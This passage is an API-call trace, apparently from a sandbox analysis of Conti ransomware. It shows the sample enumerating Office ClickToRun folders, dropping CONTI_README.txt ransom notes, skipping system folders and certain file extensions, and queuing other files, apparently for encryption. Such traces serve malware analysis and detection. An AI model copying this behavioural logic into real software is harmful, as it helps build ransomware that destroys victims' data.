	[0098.314] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\", lpString2="en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16"
	[0098.314] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned 81
	[0098.314] GetProcessHeap () returned 0x1720000
	[0098.314] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x1732cc0
	[0098.314] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16"
	[0098.314] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\*"
	[0098.314] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned 81
	[0098.314] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.314] GetProcessHeap () returned 0x1720000
	[0098.314] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x17c61b0
	[0098.314] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16"
	[0098.314] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\"
	[0098.314] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\CONTI_README.txt"
	[0098.314] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.316] GetProcessHeap () returned 0x1720000
	[0098.316] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0098.317] WriteFile (in: hFile=0x37c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0098.317] CloseHandle (hObject=0x37c) returned 1
	[0098.318] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f9a029, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e71f582, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c85b0
	[0098.318] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.318] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f9a029, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e71f582, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.318] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.318] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.318] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e71f582, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e71f582, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e71f582, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.318] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.318] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.318] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.318] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.318] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd7b21800, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x564f, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1
	[0098.318] lstrcmpiW (lpString1="MasterDescriptor.en-us.xml", lpString2=".") returned 1
	[0098.318] lstrcmpiW (lpString1="MasterDescriptor.en-us.xml", lpString2="..") returned 1
	[0098.318] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.318] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.318] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.318] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.318] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.318] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.318] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.318] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.318] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned 81
	[0098.318] lstrlenW (lpString="MasterDescriptor.en-us.xml") returned 26
	[0098.318] GetProcessHeap () returned 0x1720000
	[0098.318] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xda) returned 0x17bfeb8
	[0098.318] lstrcpyW (in: lpString1=0x17bfeb8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16"
	[0098.318] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\"
	[0098.318] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\", lpString2="MasterDescriptor.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml"
	[0098.318] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e76a8) returned 1
	[0098.319] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="s641033.hash", cAlternateFileName="S64103~1.HAS")) returned 1
	[0098.319] lstrcmpiW (lpString1="s641033.hash", lpString2=".") returned 1
	[0098.319] lstrcmpiW (lpString1="s641033.hash", lpString2="..") returned 1
	[0098.319] StrStrIW (lpFirst="s641033.hash", lpSrch=".CONTI") returned 0x0
	[0098.319] StrStrIW (lpFirst="s641033.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.319] StrStrIW (lpFirst="s641033.hash", lpSrch=".exe") returned 0x0
	[0098.319] StrStrIW (lpFirst="s641033.hash", lpSrch=".dll") returned 0x0
	[0098.319] StrStrIW (lpFirst="s641033.hash", lpSrch=".lnk") returned 0x0
	[0098.319] StrStrIW (lpFirst="s641033.hash", lpSrch=".sys") returned 0x0
	[0098.319] StrStrIW (lpFirst="s641033.hash", lpSrch=".CONTI") returned 0x0
	[0098.319] StrStrIW (lpFirst="s641033.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.319] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned 81
	[0098.319] lstrlenW (lpString="s641033.hash") returned 12
	[0098.319] GetProcessHeap () returned 0x1720000
	[0098.319] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbe) returned 0x17cbff8
	[0098.319] lstrcpyW (in: lpString1=0x17cbff8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16"
	[0098.319] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\"
	[0098.319] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\", lpString2="s641033.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash"
	[0098.319] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e78f0) returned 1
	[0098.319] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcc39700, ftLastWriteTime.dwHighDateTime=0x1d0d7e6, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0098.319] lstrcmpiW (lpString1="stream.x64.en-us.man.dat", lpString2=".") returned 1
	[0098.319] lstrcmpiW (lpString1="stream.x64.en-us.man.dat", lpString2="..") returned 1
	[0098.319] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.319] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.319] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch=".exe") returned 0x0
	[0098.319] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch=".dll") returned 0x0
	[0098.319] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch=".lnk") returned 0x0
	[0098.319] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch=".sys") returned 0x0
	[0098.319] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.319] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.319] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned 81
	[0098.319] lstrlenW (lpString="stream.x64.en-us.man.dat") returned 24
	[0098.320] GetProcessHeap () returned 0x1720000
	[0098.320] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd6) returned 0x17cb0e0
	[0098.320] lstrcpyW (in: lpString1=0x17cb0e0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16"
	[0098.320] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\"
	[0098.320] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\", lpString2="stream.x64.en-us.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat"
	[0098.320] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e9d70) returned 1
	[0098.320] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcc39700, ftLastWriteTime.dwHighDateTime=0x1d0d7e6, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0098.320] GetProcessHeap () returned 0x1720000
	[0098.320] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0098.320] FindClose (in: hFindFile=0x17c85b0 | out: hFindFile=0x17c85b0) returned 1
	[0098.320] GetProcessHeap () returned 0x1720000
	[0098.320] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732c10 | out: hHeap=0x1720000) returned 1
	[0098.320] FindNextFileW (in: hFindFile=0x17c7e70, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0098.320] lstrcmpiW (lpString1="x-none.16", lpString2=".") returned 1
	[0098.320] lstrcmpiW (lpString1="x-none.16", lpString2="..") returned 1
	[0098.320] lstrcmpiW (lpString1="x-none.16", lpString2="tmp") returned 1
	[0098.320] lstrcmpiW (lpString1="x-none.16", lpString2="winnt") returned 1
	[0098.320] lstrcmpiW (lpString1="x-none.16", lpString2="Application Data") returned 1
	[0098.320] lstrcmpiW (lpString1="x-none.16", lpString2="AppData") returned 1
	[0098.320] lstrcmpiW (lpString1="x-none.16", lpString2="temp") returned 1
	[0098.320] lstrcmpiW (lpString1="x-none.16", lpString2="thumb") returned 1
	[0098.320] lstrcmpiW (lpString1="x-none.16", lpString2="$Recycle.Bin") returned 1
	[0098.320] lstrcmpiW (lpString1="x-none.16", lpString2="$RECYCLE.BIN") returned 1
	[0098.320] lstrcmpiW (lpString1="x-none.16", lpString2="System Volume Information") returned 1
	[0098.320] lstrcmpiW (lpString1="x-none.16", lpString2="Program Files") returned 1
	[0098.320] lstrcmpiW (lpString1="x-none.16", lpString2="Program Files (x86)") returned 1
	[0098.320] lstrcmpiW (lpString1="x-none.16", lpString2="Boot") returned 1
	[0098.320] lstrcmpiW (lpString1="x-none.16", lpString2="Windows") returned 1
	[0098.320] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned 72
	[0098.320] lstrlenW (lpString="x-none.16") returned 9
	[0098.320] GetProcessHeap () returned 0x1720000
	[0098.321] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa6) returned 0x1732c10
	[0098.321] lstrcpyW (in: lpString1=0x1732c10, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6"
	[0098.321] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\"
	[0098.321] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\", lpString2="x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16"
	[0098.321] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned 82
	[0098.321] GetProcessHeap () returned 0x1720000
	[0098.321] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xaa) returned 0x17c7588
	[0098.321] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16"
	[0098.321] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\*"
	[0098.321] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned 82
	[0098.321] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.321] GetProcessHeap () returned 0x1720000
	[0098.321] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc8) returned 0x17c61b0
	[0098.321] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16"
	[0098.321] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\"
	[0098.321] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\CONTI_README.txt"
	[0098.321] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.324] GetProcessHeap () returned 0x1720000
	[0098.324] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0098.324] WriteFile (in: hFile=0x37c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0098.324] CloseHandle (hObject=0x37c) returned 1
	[0098.325] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e71f582, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8230
	[0098.325] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.325] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e71f582, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.325] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.325] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.325] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e71f582, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e71f582, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e71f582, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.325] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.325] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
